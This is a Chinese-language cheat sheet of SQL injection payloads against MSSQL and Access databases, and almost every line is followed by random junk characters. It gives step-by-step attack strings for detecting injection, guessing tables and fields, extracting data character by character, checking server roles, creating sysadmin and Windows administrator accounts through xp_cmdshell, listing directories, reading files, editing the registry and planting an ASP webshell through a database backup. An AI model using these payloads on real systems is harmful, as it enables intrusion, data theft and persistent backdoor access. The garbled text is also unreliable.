1.判断是否有注入;and 1=1 ;and 1=2 1O/+8yw
2.初步判断是否是mssql ;and user>0 l~c@^!
R.jIl@p
3.注入参数是字符'and [查询条件] and ''=' sF!($k;!
fd+hA
4.搜索时没过滤参数的'and [查询条件] and '%25'=' UK595n;P
_"?.!
5.判断数据库系统 6G1@smP
v\KA'PmiP
;and (select count(*) from sysobjects)>0 mssql .AR#&mL9
d4u})
;and (select count(*) from msysobjects)>0 access t2/#&J]
6IBgt!=,
#pP[xE"Y
R)_%i<nq\
6.猜数据库 ;and (select Count(*) from [数据库名])>0 fol,xMc&
tNO-e|~'
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 HJLu'KY}
M2PAy! J
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 `NCwK6/i
CJ1 7n
9.(1)猜字段的ascii值(access) fsJ9bQm/
U{7w#>V
.
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ~HTmO;HNf"
xf<at ->
(2)猜字段的ascii值(mssql) mw_~*Nc'9
tjIl-IQ
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 a|%J=k>>
9>l*lCA
10.测试权限结构(mssql) Ov5"
w`4=_J=GO
7E!IF>`
>6NRi /[
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- rf
$ QxJ
o)Iff)m$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $;1#To
3,p]/Z_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +MR.>"
8$")%_1]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- *,e:]!*
]JCvyz
H
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- zz+$=(T:M
KC/=TSSXd.
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -m)X]]~C
pOGeruu?
;and 1=(select IS_MEMBER('db_owner'));-- }Ga\wV
gRCdY8GH
6g|*`x{
d ^^bke$~
11.添加mssql和系统的帐户 C`$n[kCJ
l n{e1':$"
;exec master.dbo.sp_addlogin username;-- 8K.R=
;exec master.dbo.sp_password null,username,password;-- aoTM
dYT%
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- SQ44
^Y=\#-Dd
;exec master.dbo.xp_cmdshell 'net user username password k3u"A_"c
G0/4JSH
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [<2<Y
5]NqRI^0
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Kf>A\l^X7
uD}2<$PP
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- fmQ_P.c
BcL{se9<
~<O7$~
:yRo3c
12.(1)遍历目录 KV]X@7`@
`7[EKOJ3g
;create table dirs(paths varchar(100), id int) 5"CZh.J
igIRSN}h
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3N dq>
8cU}I4|
;and (select top 1 paths from dirs)>0 y+X2Pl
M.x=<:upp
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) gnFr}L&j
C9~52+S
",^Mxm{
kqM045W7
(2)遍历目录 s"0Y3x3
R@/"B8H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $CY~5A `l9
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 @aAW*D~-J
43|XSyS
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4[.oPK=i
4[;X{ !
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 F<L
EQ7T
:e_V7t)o
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 d@ i}-;
?\vh9
N9jH\0nG
Hw7;;HK
7
13.mssql中的存储过程 B
P2=2)Q
Ka[t75~;
xp_regenumvalues 注册表根键, 子键 xC{qV,
uehDIl0\[b
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 I/&%]"[^u
E8pB;\Z(
xp_regread 根键,子键,键值名 6{"$nF]
v:!Z=I}>
;exec xp_regread A;*d}Xe&J
]Bcp;D
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 E;Y;z
M!/Cknm
xp_regwrite 根键,子键, 值名, 值类型, 值 ]!I7Y.w6
$*AYcy7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 o$#G0}yn
-&3hEv5
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4? ICy/,U-
gLE:g5v6
xp_regdeletevalue 根键,子键,值名 I,0q4
JBi*P.79^
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 V#XppYU
)\eI;8
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %+j8["VEC
L W[9
m;'6MHx;
PK{acen
14.mssql的backup创建webshell X;i~<Tq
EH256f(&
use model gu0j.XS^
\9cG36
create table cmd(str image); 6G
#}Q/
:+qF8t[L
insert into cmd(str) values (''); 0vtt"f)Y[
pm_`>3
backup database model to disk='c:\l.asp'; ;5zz<;Zy
x c/}#>ED
E7.2T^o;M
P>s[tM
15.mssql内置函数 !ePr5On
XZsz/#
;and (select @@version)>0 获得Windows的版本号 mVVD!
+3BBQ+x!
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 8zRP(+&W
ZZHDp&lh}
;and (select user_name())>0 爆当前系统的连接用户 )/pU.Z/
DVSL [p?_
;and (select db_name())>0 得到当前连接的数据库 np8gKVD
|C!ox hu<
^G4Py<s
.!f$
\1l
16.简洁的webshell (-ufBYO6
F<qz[,]|-j
use model iPd[l{85Z
*h'=3w:G
create table cmd(str image); 0w)^)
l:j4Ft 8
insert into cmd(str) values (''); N'^&\@)xiU
M}yDXJx
backup database model to disk='g:\wwwtest\l.asp';